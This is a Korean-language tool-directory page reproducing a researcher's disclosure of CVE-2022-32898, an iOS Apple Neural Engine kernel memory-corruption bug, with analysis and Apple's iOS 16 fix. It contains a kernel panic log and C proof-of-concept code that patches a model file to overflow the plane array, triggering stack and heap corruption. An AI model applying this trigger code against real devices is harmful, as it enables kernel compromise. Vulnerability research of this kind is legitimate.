Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-32898 | Kitploit
도구/GitHubGitHub/ox1111/cve-2022-32898
iOS SecurityVulnerability AnalysisExploitationReverse EngineeringMobile SecurityHardware SecurityBinary Exploitation
GitHubox1111/cve-2022-32898

CVE-2022-32898

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-32898: ANE_ProgramCreate() 다중 커널 메모리 손상

Nov 23, 2022 • Mohamed GHANNAM (@_simo36)

저자 코멘트

다른 iOS 커널 취약점 두 가지를 추가로 공유합니다. 기본 앱 샌드박스에서 도달 가능하며, UserClient를 열 필요도 없습니다:

4

제가 Apple에 보고한 +16개의 커널 버그가 iOS 16/16.1에서 수정되었습니다. 다음 달 #POC2022에서 버그들을 연결해 커널 읽기/쓰기(r/w)를 달성한 방법에 대해 발표할 예정이며, 컨퍼런스가 끝난 후 iOS 15용 커널 익스플로잇과 몇 가지 다른 영향력이 큰 취약점도 함께 공개할 예정입니다.

지금까지 제가 가장 좋아하는 IDA 8.0 기능: 인공 Obj-C 메서드 임포트 4

iOS 15.5 beta 3에서 Apple은 IOMallocAligned(KHEAP_DEFAULT,...)를 IOSharedDataQueue/IODataQueue::initWithCapacity()에서 제거했습니다 (이제 KMA_DATA 플래그와 함께 kernel_memory_allocate()를 사용합니다). 사용자 제어 데이터로 커널 기본 힙을 정리(groom)하는 우아한 기법이었습니다. RIP

6

소개:

커널 레벨에서 Apple Neural Engine이 모델을 로드하는 과정을 리버스 엔지니어링하던 중, H11ANEIn::ANE_ProgramCreate_gated()에서 신경망 특징을 처리하는 코드에서 흥미로운 메모리 손상 취약점 두 개를 발견했습니다. 제 생각에 이런 종류의 취약점은 커널 드라이버를 수동으로 감사할 때는 찾기 쉽지만, 매우 정교한 무언가를 만들지 않는 한 퍼저로는 거의 잡아낼 수 없습니다.

분석:

ZinComputeProgramGetNamesFromMultiPlaneLinear()와 ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() 함수는 모두 프로시저 입력과 출력을 파싱하는 역할을 담당합니다. 더 정확히는, binding_type_info 값이 4와 5인 스레드 플레이버(flavor) 2(ane_bind_state)의 LC_THREAD 커맨드를 파싱합니다.

제가 파악한 바로는 binding_type_info = 4는 프로시저 입력에 플레인이 두 개 이상 있다는 의미이고, binding_type_info = 5는 입력에 플레인이 두 개 이상 있을 뿐만 아니라 압축도 되어 있다는 의미입니다.

예를 들어 ZinComputeProgramGetNamesFromMultiPlaneLinear() 함수는 인자 5개를 받습니다: 로드 커맨드 포인터, 스레드 바인딩 포인터, 그리고 추가 출력 인자 3개입니다. 마지막 출력 인자인 planes는 사용자가 내용을 제어할 수 있는 플레인(즉, 커널 포인터)을 담는 배열이고, 마지막 인자 planeCount는 model.hwx 파일에서 planes로 복사된 플레인(또는 커널 포인터)의 수를 나타냅니다. 함수 정의는 다음과 같습니다:

1

모델이 제공할 수 있는 플레인 수에 대한 검증이 없기 때문에, 커널 포인터가 planes 배열의 경계를 벗어나 기록될 수 있으며, 이는 여러 가지 흥미로운 메모리 손상 시나리오로 이어질 수 있습니다.

메모리 손상을 스택 오버플로로 유도하기:

planes 배열은 H11ANEIn::ANE_ProgramCreate_gated()에 있는 스택 변수입니다. 최대 4개 요소의 플레인을 보유하도록 되어 있는 이 변수를 4개 이상의 플레인으로 오버플로하면 다른 스택 변수도 손상될 수 있으며, 덮어쓰는 커널 포인터가 완전히 사용자 통제 하에 있기 때문에 타입 혼동(type-confusion)과 같은 다른 문제로 이어질 수 있습니다.

당연히 planes 배열을 너무 많은 항목으로 오버플로하면 스택 쿠키와 저장된 이전 스택 프레임 포인터도 덮어써서 커널 패닉이 발생할 가능성이 높습니다. 다행히도 총 플레인 수는 전적으로 주어진 모델의 통제 범위 내에 있으므로, 스택의 민감한 영역에 영향을 주지 않으면서 여러 스택 변수를 손상시킬 수 있습니다.

메모리 손상을 힙 오버플로로 유도하기:

또 다른 흥미로운 시나리오로, 아래 이미지에서 볼 수 있듯이 H11ANEProgramBindingInfo(528행)와 H11ANEProgramCreateArgsStructOutput(533행)이라는 두 개의 힙 객체를 오버플로하는 것이 가능합니다.

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

H11ANEProgramCreateArgsStructOutput의 구조체 정의는 위에 나와 있으며, 이를 손상시키면 다음과 같은 크래시가 발생할 수 있습니다:

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

취약점 트리거:

이 취약점들이 흥미로운 이유는 커널과 직접 상호작용할 필요가 없다는 점입니다. 즉, UserClient 연결을 열 필요 없이 악성 모델을 컴파일(또는 제작)한 다음 aned가 대신 로드하도록 하면 됩니다.

아시다시피, aned를 통해 모델을 로드하려면 모델이 ANECompilerService 시스템 서비스에 의해 컴파일되거나 Apple의 서명을 받아야 합니다. 즉, 앱은 aned에 .mlmodelc 디렉터리를 제공해야 하며, aned는 Espresso와 ANECompiler라는 두 프레임워크를 사용해 이를 model.hwx로 컴파일하도록 ANECompilerService에 요청합니다. 제가 무슨 말을 하는지 모르겠다면, aned가 어떻게 동작하는지에 대한 기본 개요를 설명한 #POC2022 슬라이드를 여기 에서 살펴보시기 바랍니다. 또한 컴파일 프로세스에 대한 자세한 내용은 ANE에 대한 Wish Wu의 훌륭한 BlackHat 발표 와 ANECompilerService가 수행하는 작업을 정확히 모방하는 그의 훌륭한 도구에서 확인할 수 있습니다.

이번 경우에는 입력(또는 출력)이 다중 플레인을 지원하는 프로시저가 있는 model.hwx가 필요합니다. 안타깝게도 mlmodel, mlmodelc 또는 mlpackage 형식에서는 그러한 모델을 구할 수 없고, Apple이 제공하는 hwx 형식의 모델은 극소수에 불과합니다. 이 hwx 모델들을 조사해 보니 오픈소스 coremltools 라이브러리 코드베이스에는 존재하지 않는 이상하고 문서화되지 않은 신경망 연산을 사용하고 있었으며, 이는 이러한 네트워크 레이어가 아마도 내부 전용일 것임을 암시합니다. 그러나 이러한 연산의 구현은 Espresso 프레임워크에 정의되어 있어서, 이들이 지원하는 입력과 출력이 무엇인지, 신경망 내에서 레이어로 어떻게 올바르게 사용하는지 이해하려면 어느 정도 리버싱이 필요합니다. 프레임워크가 C++과 STL로 작성되어 있었기 때문에, 이 연산을 리버싱하는 데는 관심이 없었습니다. 영원히 걸릴 테니까요.

이것이 제가 CVE-2022-32845를 발견하게 된 주요 이유였습니다. 이 취약점 덕분에 이 무시무시한 프레임워크를 리버싱하지 않아도 되었을 뿐만 아니라, 고급 머신러닝 주제를 수백 시간 공부하는 수고도 덜 수 있었습니다.

그래서 간단한 model.hwx를 가져와 LC_THREAD 커맨드 중 하나를 패치해 ane_bind_state에서 원하는 결과를 재현했고, 그런 다음 CVE-2022-32845를 악용해 aned가 마치 Apple이 서명한 것처럼 이를 로드하도록 속였습니다. 그걸로 Apple에 취약점을 입증하기에 충분했습니다.

모델을 패치하는 함수는 아래와 같습니다. 직접 취약점을 트리거하고 싶다면 제 weightBufs 커널 익스플로잇 에서 코드 일부를 가져와도 됩니다.

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

패치:

Apple은 iOS 16에서 두 취약 함수 모두에 검증 로직을 도입하여 이 문제를 해결했습니다. 아래와 같이 제공되는 플레인 수를 4개로 제한했습니다: 3

지금은 여기까지입니다. 곧 다시 뵙겠습니다!

도구 다운로드